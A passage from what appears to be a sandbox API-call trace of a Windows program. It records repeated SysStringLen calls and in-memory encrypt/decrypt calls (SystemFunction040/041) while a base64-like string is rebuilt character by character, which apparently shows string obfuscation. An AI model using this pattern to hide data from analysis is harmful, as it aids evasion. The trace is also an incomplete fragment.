(param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.786] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.786] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.786] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.786] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.786] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.786] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.786] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.786] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.787] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.787] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.787] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.787] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.787] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.787] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.787] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.787] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.787] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.788] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.788] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.788] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.788] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.788] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.788] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.788] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.788] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.789] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.789] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.789] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.789] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.789] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.789] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.789] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.790] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.790] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.790] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.790] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.790] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.790] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.790] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.790] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.790] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.791] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.791] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.791] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.791] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.791] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.791] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.791] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.791] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.791] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.791] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.791] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.792] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.792] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.792] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.792] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.792] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.792] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.792] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.792] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.793] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.793] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.793] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.793] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.793] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.793] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.793] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.794] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.794] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.794] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.794] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.794] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.794] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.794] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.794] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.795] SysStringLen 